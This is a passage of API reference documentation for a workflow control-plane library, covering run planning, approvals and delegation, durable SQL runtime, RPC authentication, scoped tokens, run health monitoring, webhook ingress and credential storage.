| Plans             | `plan(input: PlanInput) => Effect<PlanOutcome, FlowNotFound \| InvalidInput \| PersistenceError>`, `getPlan(planId)`, `listPlanIds`                                                                 |
| Approvals         | `authorizeApproval(request)`, `lookupApproval(target)`, `registerApproval(nodeTarget)`, `resolveApproval(token, decision, principal, scope?)`, `installBulkGrant(token, envelope, scope)`, `grants` |
| Runs              | `launch(planId, digest, envelope) => Effect<LaunchResult, ...>`, `getRun(runId)`, `queryRuns({ filters?, cursor?, limit })`, `listRuns`, `listFlows`                                                |
| Signal history    | `deliverSignal(runId, signal)`, `deliveredSignals(runId)`                                                                                                                                           |
| Resume delegation | `requestResume(runId) => Effect<number, ...>`, `pendingResumes`, `clearResume(runId, sequence)`                                                                                                     |
| Ownership         | `registerFiber(runId, fiber)`, `interrupt(runId, settle?)`, `resume(runId, options?)`, `claimFence(runId)`, `releasePending(runId, fence)`, `writeStatus(runId, fence, status)`                     |
| Identity          | `stampPrincipal(submitted?)`, `lookupMutation(key, fingerprint)`, `recordMutation(key, fingerprint, receipt)`                                                                                       |

`queryRuns` accepts `RunQuery`: optional `flowId`, `status`, `terminal`,
`parentRunId`, `lineageId`, `since` (inclusive creation epoch ms), `until`
(exclusive), and `runIds` filters, an optional `order` (`newest` or `oldest`
creation time), an optional `RunCursor`, and a required integer `limit` from 1
through 500. `Control.list` resolves a `runs` request's `triggerId` filter to
`runIds` from the trigger's recorded fires. It returns `RunPage` with `items` and optional `nextCursor`.
`RunCursor` contains `source` (0 for control launches, 1 for engine runs),
`sequence`, `createdAt`, and `runId`. Adapters must select the page before
summary decoding and ancestry projection. SQL reads one extra ordering key to
determine continuation. `listRuns` remains the full inventory for recovery and
journal partition discovery; interactive listings use `queryRuns`.

Steering uses `NotificationQueue.enqueue` and `NotificationQueue.drain`.
`enqueueSteer` and `drainSteering` have been removed from the runtime port and
both adapters. The legacy signal-history reader and database migrations remain;
old steering rows are not drained or delivered by the runtime.

`interrupt` must be called without mutation locks. Its optional `settle` wrapper
runs only after the fiber's finalizers finish and wraps the fenced status
reconciliation. `ControlLive` uses it to commit the terminal event alongside
the status. Direct callers may omit it.

`resume` takes `{ scope?: "launched" \| "any" }`. `scope: "launched"`
restricts claims to the shared `control_runs` launch index. Both public
spellings, `Control.resume` and `Control.run` with a Resume input, and every
steer wake pass it. `scope: "any"`, also the default, is a trusted low-level
runtime capability for hosts that can drive the claimed execution.
An owned non-terminal run is joined without replacing its fence, including
`accepted`; a run released by `releasePending` can be claimed again.

Explicit resume journals `control.run.resume` and never calls
`ControlExecutor.resumeRun`. A caller or journal subscriber must drive the
execution; polling `pendingResumes` does not take up a resume the caller
claimed. A run a live host parked fails the claim with `ClaimLost` naming the
host in `parkedBy`. `Control.resume` then hands it to that host: it records
`requestResume(runId, { consent })`, where `consent` is the journal sequence of
its `control.run.resume`, and answers `Accepted` with `handedTo`.
`pendingResumes` reports that `consent`, and the parking host records the
per-release retry permission under it before it re-drives the run.
A suspended engine-created run stays unclaimed and receives an `Accepted`
receipt for the journal intent. A live peer's owned run fails with `ClaimLost`.
A running engine-created run outside the launch index also fails with
`ClaimLost` when its owner is dead; its persisted execution state is preserved.
Node-approval decisions use the durable resume delegation instead.

`registerApproval` is idempotent and returns the token with its current
tagged decision. `Pending` parks, `Approved` opens a gate, and `Denied` fails it.
Use `requireApproved` to enforce this distinction. A registration that disagrees
with the stored digest or envelope is refused exactly as `lookupApproval`
refuses it. Terminal decisions carry `decisionPrincipal` and `decidedAt`;
`Approved` also carries `scope`. The low-level `resolveApproval` defaults scope
to `once`; when installing a wider grant, pass that same scope explicitly.
`Control.approve` does this automatically. Resolution checks the owning
`ApprovalAuthority` again and may fail with `Unauthorized`; it does not install
a grant. `installBulkGrant` is a trusted storage port, not an authorization API.

For a new decision, authenticate the principal and call `authorizeApproval`
before target reads or receipt replay. Then call `lookupApproval`,
`resolveApproval` exactly once with an authority recheck, `installBulkGrant` only
on approval, and journal the decision. Commit the decision, grant, journal entry,
receipt, and any node resume delegation atomically. Resolution must not require
an installed grant or a flushed journal decision.

Migration 6004 preserves legacy rows. Unknown old terminal decisions are
refused with `PersistenceError`; pending rows remain pending. Preserve the old
database and start a new run/request instead of inferring approval from a grant.

`requestResume` returns the durable sequence `clearResume` checks, so a resume
requested while one is being taken up is not lost with it.

### Models

| Type             | Shape                                                                                                                                                                                                                                                                     |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `StoredPlan`     | `{ card: PlanCard; decodedInput: unknown; decision: "pending" \| "approved" \| "denied" }`                                                                                                                                                                                |
| `ApprovalToken`  | `{ tokenId: string; target: ApprovalTarget } & ApprovalDecision`; `_tag: "Pending"`, or `_tag: "Approved"` with principal/time/scope, or `_tag: "Denied"` with principal/time                                                                                             |
| `BulkGrant`      | `{ tokenId: string; envelope: Envelope; scope: GrantScope; installedAt: number }`                                                                                                                                                                                         |
| `LaunchResult`   | `{ _tag: "Started"; receipt; run }` or `{ _tag: "Parked"; receipt }`                                                                                                                                                                                                      |
| `PlanOutcome`    | `{ card: PlanCard; created: boolean }`. `created` is what lets `plan` journal one creation per plan rather than one per retry.                                                                                                                                            |
| `MutationRecord` | `{ fingerprint: string; receipt: Receipt }`                                                                                                                                                                                                                               |
| `PendingResume`  | `{ runId: RunId; sequence: number; requestedAtMs: number }`                                                                                                                                                                                                               |
| `MemoryFlow`     | `{ flowId; description; deployClass; envelope; executionDigest?; decode?; plan? }`. The optional execution identity is included in the approved card; `decode` validates input and `plan` projects it into the keyed node graph, answering `{ plan, statuses?, graph? }`. |
| `MemoryOptions`  | `{ flows?: MemoryFlow[]; now?: () => number; principal?: Omit<Principal, "stampedAt">; approvalAuthority?: ApprovalAuthority.Service }`                                                                                                                                   |

`layerMemory` models the production fence and approval ordering seams but keeps
everything in a `Map`. Nothing it decides survives the process.

## ApprovalAuthority

Host-owned approval policy, separate from authentication and granted workflow
capabilities. Import `@smthrs/control/ApprovalAuthority` or its root namespace.

- `Request`: `{ principal, target, decision: "approved" | "denied", scope }`.
- `Service.authorize(request)`: `Effect<void, Unauthorized | PersistenceError>`.
- `Delegation`: schema/type for `{ principal: { id, kind }, scopes, targets }`.
  Exact scopes are `once`, `run`, `remembered`; target kinds are `Plan`, `Node`.
- `make(delegations)`: validates and snapshots up to 1,024 explicit delegations;
  returns `Effect<Service, InvalidInput>`. Empty configuration denies everyone.
- `local`: default policy for the fixed `local/operator` identity only. Custom
  identities, including bearer and agent identities, need explicit delegation.
  A principal's `kind` is not itself a role grant. The memory adapter's own
  default also delegates its `memory/test` identity; `local` never does.

`Control.approve` and `deny` check before reads and receipt replay. Both runtime
adapters check again at resolution. Denial requires a delegated target kind but
does not require a grant scope because it grants nothing. See the
[approval guide](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/approvals.md#who-may-decide) for host composition.

## SqlControlRuntime

The durable `ControlRuntime` over a SQL database and the fenced run store from
[`@smthrs/run-store`](/docs/reference/api/run-store/).

| Export           | Kind      | Signature                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| ---------------- | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `DurableFlow`    | type      | `MemoryFlow`, so one catalog serves either runtime.                                                                                                                                                                                                                                                                                                                                                                                             |
| `Options`        | interface | `{ flows?: ReadonlyArray<DurableFlow>; loadFlows?: () => Effect<ReadonlyArray<DurableFlow>, PersistenceError>; owner?: Ownership.OwnerId; isAlive?: Ownership.LivenessCheck; principal?: Omit<Principal, "stampedAt">; approvalAuthority?: ApprovalAuthority.Service }`; with `isAlive`, `resume` takes over a running run whose owner is gone: at once for a same-host owner whose pid the probe proved gone, otherwise once its lease expired |
| `migrate`        | effect    | `Effect<void, PersistenceError, SqlClient>`. Creates every control-plane table, idempotently.                                                                                                                                                                                                                                                                                                                                                   |
| `make`           | function  | `(options?: Options) => Effect<Service, PersistenceError, Crypto \| DurableWriter \| SqlClient \| RunStore>`                                                                                                                                                                                                                                                                                                                                    |
| `layer`          | layer     | `(options?: Options) => Layer<ControlRuntime, PersistenceError, Crypto \| DurableWriter \| SqlClient \| RunStore>`                                                                                                                                                                                                                                                                                                                              |
| `layerWithStore` | layer     | The same, with `RunStore.layer` provided.                                                                                                                                                                                                                                                                                                                                                                                                       |

Dead-owner takeovers with `scope: "launched"` require a launch-index entry;
unindexed engine continuations remain unchanged.

`loadFlows` replaces the static `flows` or default system catalog. It runs afresh
for each `plan` and `listFlows` operation, and one plan uses one complete catalog
snapshot. Loader failures remain typed `PersistenceError`s. A host using a
refreshable registry can therefore plan from newly discovered or edited flows
without restarting the runtime. Stored plans and approvals retain the execution
identity they originally captured; refreshing the catalog does not rewrite them.

Omitting `owner` mints one synthetic identity for this runtime only, so
separately constructed runtimes cannot cross each other's fences. Hosts that
can report a real process identity should supply it.

The run lifecycle is not reimplemented here. `RunStore` owns it, and every
ownership move is a single SQL compare-and-swap. See
[Ownership, fences, and claims](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/concepts/ownership.md) for the status
mapping.

## ControlExecutor

The acceptance port from the control plane into a real run executor.

`ControlExecutor.makeReadOnly({ readExecution, readExecutions })` accepts optional
point and batch readers in one options object. Omit the object for a host without
engine observations. Mutation methods remain refused.

| Export            | Kind     | Signature                                                                                                                                                                                               |
| ----------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ControlExecutor` | class    | `Context.Service<ControlExecutor, Service>` at key `/control/ControlExecutor`                                                                                                                           |
| `make`            | function | `(implementation: Service) => Service`                                                                                                                                                                  |
| `makeNoop`        | function | `(overrides?: Partial<Service>) => Service`. Accepts every launch as `pending` and starts nothing.                                                                                                      |
| `makeObserving`   | function | `(service: Service) => Service`. The same executor with `launch` and `resumeRun` refused as defects and parked settlement left to the driving host, for a host composed to observe runs and drive none. |
| `layer`           | layer    | `(implementation: Service) => Layer<ControlExecutor>`                                                                                                                                                   |
| `layerNoop`       | layer    | `(overrides?: Partial<Service>) => Layer<ControlExecutor>`                                                                                                                                              |

### Service

| Method                | Signature                                                                                                                                                     |
| --------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `launch`              | `(input: Launch) => Effect<Acceptance, LaunchFailed>`                                                                                                         |
| `requestComplete`     | Optional `(input: { runId: RunId; receiptId: string }) => Effect<Receipt, PersistenceError>`. Host close after the last native module completes. Since 1.0.0. |
| `requestCancel`       | `(input: CancelRequest) => Effect<CancelRecord, PersistenceError>`                                                                                            |
| `deliverSignal`       | `(input: Signal) => Effect<SignalDelivery, PersistenceError>`                                                                                                 |
| `resumeRun`           | `(input: ResumeRequest) => Effect<ResumeUptake, PersistenceError>`                                                                                            |
| `settleCancelledPark` | `(input: CancelRequest) => Effect<void, PersistenceError>`                                                                                                    |

### Models

| Type                             | Shape                                                                                                                                |
| -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| `Launch`                         | `{ plan: StoredPlan; run: RunSummary }`. `run.runId` is the execution id the executor must start.                                    |
| `Acceptance`                     | `"accepted"` (taken now) or `"pending"` (queued).                                                                                    |
| `CancelRequest`, `ResumeRequest` | `{ runId: RunId }`                                                                                                                   |
| `CancelTerminal`                 | `{ _tag: "Terminal"; status: "completed" \| "failed" \| "cancelled" }`. The engine's own status, which the plane cannot read itself. |
| `CancelRecord`                   | `"recorded" \| "already-requested" \| "unknown" \| CancelTerminal`                                                                   |
| `ResumeUptake`                   | `"resuming" \| "unknown"`                                                                                                            |
| `Signal`                         | `{ runId: RunId; signal: SignalPayload }`                                                                                            |
| `SignalDelivery`                 | `"delivered" \| "no-match" \| "unknown"`                                                                                             |

`settleCancelledPark` is called after the cancel mutation commits, never inside
it: driving a run re-enters the engine, whose writes would wait on the writer
the transaction holds.

## DispatchReader

The read port from the control plane into a host's trigger store. `Control.list`
answers `{ _tag: "triggers" }` and `{ _tag: "fires" }` through it. The port
lives here rather than in `@smthrs/triggers` because that package depends on
this one (its scheduler launches runs through `Control`), so the adapter over a
real `TriggerStore` is composed by the host.

| Export           | Kind     | Signature                                                                   |
| ---------------- | -------- | --------------------------------------------------------------------------- |
| `DispatchReader` | class    | `Context.Service<DispatchReader, Service>` at key `/control/DispatchReader` |
| `make`           | function | `(implementation: Service) => Service`                                      |
| `makeNone`       | function | `() => Service`. Both methods fail with `refuse()`.                         |
| `refuse`         | function | `() => InvalidInput` with code `invalid_input` and issue `noStoreIssue`.    |
| `noStoreIssue`   | constant | `"this host serves no trigger store"`.                                      |
| `layer`          | layer    | `(implementation: Service) => Layer<DispatchReader>`                        |
| `layerNone`      | layer    | `Layer<DispatchReader>` providing `makeNone()`.                             |

### Service

| Method  | Signature                                                                           |
| ------- | ----------------------------------------------------------------------------------- |
| `list`  | `(request: TriggersRequest) => Effect<ReadonlyArray<TriggerSummary>, ControlError>` |
| `fires` | `(request: FiresRequest) => Effect<ReadonlyArray<FireSummary>, ControlError>`       |

Each method receives the whole listing request and answers every row it has,
newest fire first. A reader may narrow by `filters`; `Control.list` applies the
same filters again and pages the rows with `cursor` and `limit`, so a reader
that returns every row is still correct and both variants page exactly as
`flows` and `runs` do. `TriggersRequest` and `FiresRequest` are the two
`ListRequest` members by tag.

## ControlRpcs

The schema-backed RPC projection of the service.

| Export                | Kind      | Meaning                                                                                                                                                           |
| --------------------- | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ControlRpcs`         | group     | Ten procedures: `Plan`, `Run`, `Approve`, `Deny`, `Steer`, `Signal`, `Cancel`, `Resume`, `List`, and the streaming `Watch`. Carries the `ControlAuth` middleware. |
| `ControlPrincipal`    | class     | The authenticated principal, provided to every handler. Key `/control/ControlPrincipal`.                                                                          |
| `ControlAuth`         | class     | The middleware boundary. Key `/control/ControlAuth`, error `Unauthorized`.                                                                                        |
| `Call`                | interface | `{ rpc: string; payload: unknown }`: the frame a boundary is authenticating, absent at a transport edge.                                                          |
| `Authenticator`       | interface | `{ authenticate: (headers: Record<string, string>, call?: Call) => Effect<Principal, Unauthorized> }`                                                             |
| `BearerAuthOptions`   | interface | `{ token: string; principal: Omit<Principal, "stampedAt">; now?: () => number }`                                                                                  |
| `bearerCredential`    | function  | `(headers) => string \| undefined`. The bearer a request carries, or nothing.                                                                                     |
| `bearerAuthenticator` | function  | `(options: BearerAuthOptions) => Authenticator`. Constant-time comparison; missing, malformed, empty, and incorrect credentials all fail closed identically.      |
| `anyAuthenticator`    | function  | `(authenticators: ReadonlyArray<Authenticator>) => Authenticator`. The first to accept answers; none accepting fails with the last refusal.                       |
| `layerAuth`           | layer     | `(authenticator: Authenticator) => Layer<ControlAuth>`                                                                                                            |
| `layerBearerAuth`     | layer     | `(options: BearerAuthOptions) => Layer<ControlAuth>`                                                                                                              |
| `layerNoopAuth`       | layer     | `(principal?: Principal) => Layer<ControlAuth>`. Authenticates nothing.                                                                                           |
| `ControlDefect`       | schema    | The defect schema of every procedure. Encodes any non-string defect as `{ name: "Error", message: defectMessage }`; decodes like `Schema.Defect()`.               |
| `defectMessage`       | constant  | `"Something went wrong on our side. Not your fault."`                                                                                                             |

`List` and `Watch` declare the whole `ControlError` union rather than restating
its members.

A handler defect, an untyped failure no procedure declares, reaches a client as
a `Die` whose defect is `{ "name": "Error", "message": "Something went wrong on
our side. Not your fault." }`. Its raw message and stack never cross the wire;
the server records only a content-free diagnostic through `ControlServer.logDefect`. A string defect passes
unchanged, so a payload that fails to decode still answers with the request
decoder's own sentence. The encoded shape is the one `Schema.Defect()` decodes,
so older clients and servers read each other's defects.

## ScopedToken

Scoped, expiring tokens minted under a gateway's bearer credential: an
HMAC-SHA256 grant of named procedures, optionally confined to one run or flow,
that the gateway verifies with the credential it already holds. The wire form
is `smt1.<claims>.<signature>`. `smthrs token mint` is the command over it.

| Export            | Kind     | Meaning                                                                                                                                      |
| ----------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
| `scopes`, `Scope` | constant | `read:runs`, `write:runs`, and `approve:runs`, each naming the procedures it grants across `ControlRpcs` and the gateway's `GatewayRpcs`.    |
| `scopeNames`      | constant | The scope names in declaration order.                                                                                                        |
| `Claims`          | schema   | `{ v: 1; id; procedures; runId?; flowId?; iat; exp }`, milliseconds since the epoch.                                                         |
| `mint`            | function | `(options: MintOptions) => Effect<Minted>`. Dies on an empty key, no scopes, or a non-positive lifetime.                                     |
| `verify`          | function | `(key, token, now) => Effect<Claims, Unauthorized>`. Signature and expiry; every malformation is the same refusal.                           |
| `authorizes`      | function | `(claims, call) => boolean`. The procedure must be named; a confined token authorizes only calls naming its run or flow.                     |
| `authenticator`   | function | `(options: AuthenticatorOptions) => Authenticator`. Signature and expiry always; procedure and confinement when the boundary knows the call. |
| `isScopedToken`   | function | `(credential) => boolean`.                                                                                                                   |
| `procedures`      | function | `(scopes) => ReadonlyArray<string>`, each once.                                                                                              |
| `prefix`          | constant | `"smt1"`.                                                                                                                                    |

## ControlServer

An Origin must match the endpoint's scheme and Host. Hosts with relative request
URLs provide `RequestScheme`, e.g. `Layer.succeed(ControlServer.RequestScheme,
"https:")` for TLS or a trusted TLS terminator. Without it, browser origins are
refused; requests without Origin still work. Forwarding headers are not trusted
automatically. Absolute Web request URLs already supply the scheme.

| Export      | Meaning                                                                                                                                                                                                  |
| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `layer`     | The handlers, delegating to `Control`. Every mutation that records who asked reads `ControlPrincipal` and stamps it rather than forwarding what the client sent.                                         |
| `layerHttp` | Mounts both protocols on the ambient `HttpRouter`: unary procedures over `POST /rpc`, and `watch` over `WebSocket /rpc/ws`.                                                                              |
| `logDefect` | `(cause: Cause<unknown>) => Effect<void>`. Logs a content-free handler-defect diagnostic at error level and ignores typed failures. Tap it around a handler with `Effect.tapCause` or `Stream.tapCause`. |

## ControlClient

| Export           | Kind       | Signature                                                                                                                                          |
| ---------------- | ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ClientConfig`   | interface  | `{ url: string; credential?: string; watchTransport?: "http" \| "socket" }`. `credential` is attached as a bearer token on every HTTP RPC request. |
| `layer`          | layer      | `(config: ClientConfig) => Layer<Control, ...>`                                                                                                    |
| `isControlError` | refinement | `(value: unknown) => value is ControlError`, derived from `ControlErrorSchema`.                                                                    |

Unary procedures use HTTP at `url`. With a credential, `watch` uses the same
HTTP protocol and bearer; without one it defaults to the platform Socket
service. `watchTransport` explicitly selects either transport. An HTTP-only
configuration requires no Socket service. For an explicit socket, its upgrade
authentication belongs to the supplied platform Socket layer.

Declared control failures cross the wire as themselves; everything else
becomes a `TransportError` whose `retryable` flag classifies the transport
phase. Locally agent-attributed approval decisions and signals fail
`Unauthorized` before RPC, so an agent cannot borrow the client’s operator
credential.

## Lineage

Run ancestry as the control plane reads it. See
[Run lineage](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/concepts/lineage.md).

| Export                 | Kind            | Signature                                                                                                           |
| ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------- |
| `Origin`               | schema and type | `"child" \| "fork" \| "continuation"`                                                                               |
| `Ancestry`             | interface       | `{ parentRunId?: string; roundOrdinal?: number; forked?: boolean }`                                                 |
| `runDecisionEventType` | constant        | `"flows.engine.run-decision"`                                                                                       |
| `forkCreatedEventType` | constant        | `"flows.time-travel.fork-created"`                                                                                  |
| `lineageEventType`     | constant        | `"control.run.lineage"`                                                                                             |
| `originOf`             | function        | `(ancestry: Ancestry) => Origin \| undefined`. A fork wins over a plain child, because a fork records a parent too. |
| `derive`               | function        | `(event: ControlEvent) => ControlEvent \| undefined`. The ancestry delta one entry discloses, if it discloses one.  |
| `expand`               | function        | `(event: ControlEvent) => ReadonlyArray<ControlEvent>`. The entry plus any delta.                                   |

## Cancellation

Cancellation attribution as the plane reads it back. See
[Cancellation attribution](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/concepts/cancellation.md).

| Export                 | Kind      | Signature                                                                                                                        |
| ---------------------- | --------- | -------------------------------------------------------------------------------------------------------------------------------- |
| `requestedEventType`   | constant  | `"control.run.cancel-requested"`                                                                                                 |
| `interruptedEventType` | constant  | `"flows.engine.interrupted"`                                                                                                     |
| `Request`              | interface | `{ requestedAt: number; principal?: Principal; reason?: string }`                                                                |
| `Evidence`             | interface | `{ runId: string; parentRunId?: string; cancelRequestedAt?: number; cancelledAt?: number }`                                      |
| `Input`                | interface | `{ runs: ReadonlyArray<Evidence>; requests: ReadonlyMap<string, Request> }`                                                      |
| `attribute`            | function  | `(input: Input) => ReadonlyMap<string, Cancellation>`. Pure and scope-independent: it reads what it is handed and never queries. |

## Steering

The steer lifecycle as the plane reads it back. See
[Steer a running agent](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/steer-a-run.md).

| Export               | Kind     | Signature                                                                                                                                        |
| -------------------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
| `enqueuedEventType`  | constant | `"control.steer.enqueued"`, written by `Control.steer`.                                                                                          |
| `promotedEventType`  | constant | `"flows/notifications/Promoted"`, written by the queue.                                                                                          |
| `deliveredEventType` | constant | `"control.steer.delivered"`, derived.                                                                                                            |
| `derive`             | function | `(event: ControlEvent) => ReadonlyArray<ControlEvent>`. One delta per message a promotion named. A promotion that named nothing derives nothing. |
| `expand`             | function | `(event: ControlEvent) => ReadonlyArray<ControlEvent>`                                                                                           |

## Health

Observational health for flows and native sessions. See
[Configure observational health](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/observe-health.md).

`HealthChecker<C>` accepts a read-only `ProbeContext` and schema-decoded config,
returning an Effect of `ProbeReport`. `makeRegistry(config, kind)` admits host
bindings and policies synchronously; `registry.resolve(key)` returns the selected
`ResolvedCheck`. `evaluate(check, context, stamp)` runs it with a timeout and safe
failure codes. The host rechecks ownership and commits the `HealthObservation`
before publication.

`rollup(input)` combines authoritative lifecycle, optional independent base
health, and the latest `{ observation, sequence }` into `StatusRollup`. The wire
axes are `state`, `activity`, `health`, `attention`, and `freshness`. Attention
is `none`, `awaiting-approval`, `needs-input`, `needs-resume`, or `unhealthy`;
`needs-resume` (reason `released`) marks a run parked over executions its owner
released, which only an explicit resume restarts. Provenance
carries checker/monitor IDs, opaque incarnation, evidence position, durable
version, observation time, and expiry. `latestObservation` compares only matching
incarnations and uses journal order for equal evidence. `runIncarnation` derives
an opaque fingerprint from current run ownership and lifecycle.

`CheckPolicy` configures interval, timeout, TTL, no-progress grace (`stallAfterMs`),
and failure backoff. `defaultPolicy` uses 5s/2s/20s/120s respectively and caps
backoff at 60s. Defaults report unknown semantic activity; no checker output grants
approval or authorizes a remedy.

## JevSessionChecker

The one registered checker that reads semantic activity, bound by the ID
`jev.session`. See [Configure observational health](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/observe-health.md).

`makeJevSessionChecker({ evaluator, timeoutMs })` uses the host's existing
subscription judge. `Health.makeRegistry(config, kind, evaluator)` binds it to
`jev.session`. It asks one choice question over `working`, `idle`, and
`needs-input`, plus a boolean question about waiting for a person. Evidence is
`alive`, `exitCode`, and the newest `jevStateTailCharacters` of output.
It reads no gateway key and has no separate authentication path.

An answer becomes a report only at confidence `jevConfidenceFloor` or above:
`needs-input` reports reason `prompt-detected`, `working` and `idle` report `ok`.
A reading below the floor is Jev's own answer and reports
`{ activity: "unknown", reason: "ok" }`.

There is no fallback to another model or to a healthy-looking answer. An
unexposed output tail and a session that is not alive keep the lifecycle report,
because there is nothing to ask about. Every other way the probe cannot ask
fails it with `JevProbeError`, whose `reason` is `unconfigured` (no host evaluator), `http` (with the provider's `status`), `timeout`,
`unreachable`, or `malformed` (a body that does not answer the question asked).
`Health.evaluate` records a failing probe as `outcome: "error"` with reason
`probe-error` and no report, so `rollup` reads the subject `stale`, activity
`unknown`, health `unknown`, reason `probe-error`, never healthy, and
`CheckPolicy.backoff` spaces the retries. A host that binds `jev.session` must
supply its evaluator through `Health.makeRegistry(config, kind, evaluator)`.

`jevRequestTimeoutMs` is the deadline on the call and `jevProbeTimeoutMs` the
wider probe budget this checker asks a binding for, so the typed `timeout`
failure surfaces instead of a bare `probe-timeout`.

## Monitor

Run health over the control plane. See
[Monitor a run and heal it](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/monitor-runs.md).

| Export                     | Kind            | Signature                                                                                                                              |
| -------------------------- | --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| `Health`                   | schema and type | `"healthy" \| "stalled" \| "wedged-node" \| "runaway-loop" \| "awaiting-human" \| "failing" \| "unknown"`                              |
| `Observation`              | interface       | `{ summary?: RunSummary; events: ReadonlyArray<ControlEvent>; beatsWithoutProgress: number; stallBeats: number; roundBound?: number }` |
| `classify`                 | function        | `(observation: Observation) => Health`. Pure.                                                                                          |
| `Remedy`                   | type            | `"resume" \| "cancel" \| "none"`                                                                                                       |
| `remedyFor`                | function        | `(health: Health) => Remedy`                                                                                                           |
| `Beat`                     | interface       | `{ beat: number; health: Health; sequence: number; healed?: Remedy; receipt?: Receipt }`                                               |
| `Report`                   | interface       | `{ runId: RunId; beats: ReadonlyArray<Beat>; health: Health }`                                                                         |
| `Options`                  | interface       | `{ runId; monitorId?; intervalMs?; maxChecks?; stallBeats?; roundBound?; autoHeal?; heal? }`                                           |
| `run`                      | function        | `(options: Options) => Effect<Report, ControlError, Control \| Journal>`                                                               |
| `attemptStartedEventType`  | constant        | `"flows.engine.attempt-started"`                                                                                                       |
| `attemptFinishedEventType` | constant        | `"flows.engine.attempt-finished"`                                                                                                      |
| `beatEventType`            | constant        | `"control.monitor.beat"`                                                                                                               |
| `healedEventType`          | constant        | `"control.monitor.healed"`                                                                                                             |

Defaults: `monitorId` is `default`, `intervalMs` is 1,000, `maxChecks` is 10,
`stallBeats` is 3, `roundBound` is 32, and `autoHeal` is empty.
Out-of-range bounds fail with `InvalidInput` before the first beat.

## Channels

Verified ingress. A channel verifies opaque transport data before it decodes or
maps it, and dispatches the result through `Control`. Starts record the channel
principal in `launchedBy`; signals reach only runs launched by that same
principal’s id and kind, with human waits additionally requiring approval authority.

| Export               | Kind              | Signature                                                                                            |
| -------------------- | ----------------- | ---------------------------------------------------------------------------------------------------- |
| `Channels`           | interface and tag | `{ register; lookup; ingest; project }` at key `/control/Channels`                                   |
| `Channel<A>`         | interface         | `{ name; schema; fingerprintHeaders?; verify; decode; map; project }`                                |
| `RawInbound`         | interface         | `{ body: Uint8Array; headers: Record<string, string \| undefined>; idempotencyKey: IdempotencyKey }` |
| `InboundResult`      | type              | `{ _tag: "Start"; flowId; input }` or `{ _tag: "Signal"; runId; signal }`                            |
| `IngestRequest`      | interface         | `{ channel: string; raw: RawInbound }`                                                               |
| `ProjectRequest`     | interface         | `{ channel: string; run: RunSummary }`                                                               |
| `Delivery`           | interface         | `{ cursor: string; messageId?: string }`                                                             |
| `DeliveryProjection` | interface         | `{ cursor; messageId?; operation: "post" \| "edit" \| "noop"; message: unknown }`                    |
| `make`               | effect            | Builds the coordinator over `ControlRuntime`'s durable mutation store.                               |
| `makeMemory`         | effect            | Builds a process-local coordinator for adapter unit tests.                                           |
| `layer`              | layer             | `Layer<Channels, never, ControlRuntime \| Control>`                                                  |
| `layerMemory`        | layer             | `Layer<Channels, never, Control>`                                                                    |

`verify` inspects only opaque bytes and headers, and always precedes `decode`,
which is what keeps an untrusted public request from reaching planning.
`decode` and `map` must be deterministic and side-effect free; a retry may
evaluate either again. `fingerprintHeaders` names only the non-secret headers
that change the decoded command.
Outbound delivery cursors are scoped to the exact channel name and run ID,
including names and IDs containing `:`.

## WebhookChannel

| Export              | Kind      | Signature                                                                                             |
| ------------------- | --------- | ----------------------------------------------------------------------------------------------------- |
| `SignatureVerifier` | type      | `(raw: RawInbound, credential: Redacted<CredentialRef>) => Effect<void, Unauthorized>`                |
| `Config<A>`         | interface | `{ name; schema; credential; fingerprintHeaders?; verify; map; project }`                             |
| `make`              | function  | `<A>(config: Config<A>) => Channel<A>`                                                                |
| `maximumBodyBytes`  | constant  | `1048576`, the default body ceiling for one mount.                                                    |
| `HandlerOptions`    | interface | `{ maximumBodyBytes?: number }`                                                                       |
| `handler`           | function  | `(channel: string, idempotencyKey: IdempotencyKey, options?: HandlerOptions) => Effect<Receipt, ...>` |

The body is bounded twice: a `content-length` over the limit is refused before
the body is read, and each streamed chunk is measured before it is retained.
Reading stops at the first chunk exceeding the limit, before verification.
Both refusals are `InvalidInput` naming the two byte counts and no body content.
Malformed JSON returns the fixed issue `invalid webhook JSON` without parser
messages or payload fragments.

## Credential

The credential boundary. Only a `CredentialRef` crosses it. See
[Store and resolve a credential](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/guides/store-credentials.md).

| Export          | Kind              | Signature                                                                                                                                |
| --------------- | ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| `CredentialRef` | interface         | `{ id: string; name: string }`                                                                                                           |
| `Operation`     | type              | `"list" \| "get" \| "create" \| "resolve" \| "rotate" \| "revoke"`                                                                       |
| `Credential`    | interface and tag | The six operations, at key `/control/Credential`                                                                                         |
| `Options`       | interface         | `{ store: CredentialStore.Service; cipher: CredentialCipher.Service; authorize?: (operation, reference) => Effect<void, Unauthorized> }` |
| `make`          | function          | `(options: Options) => Credential`                                                                                                       |
| `layer`         | layer             | `(options?: { authorize? }) => Layer<Credential, never, CredentialStore \| CredentialCipher>`                                            |
| `makeNoop`      | function          | `() => Credential`. Every operation fails `Unavailable`.                                                                                 |
| `layerNoop`     | layer             | `Layer<Credential>`                                                                                                                      |

| Operation | Signature                                                                                                                                                                       |
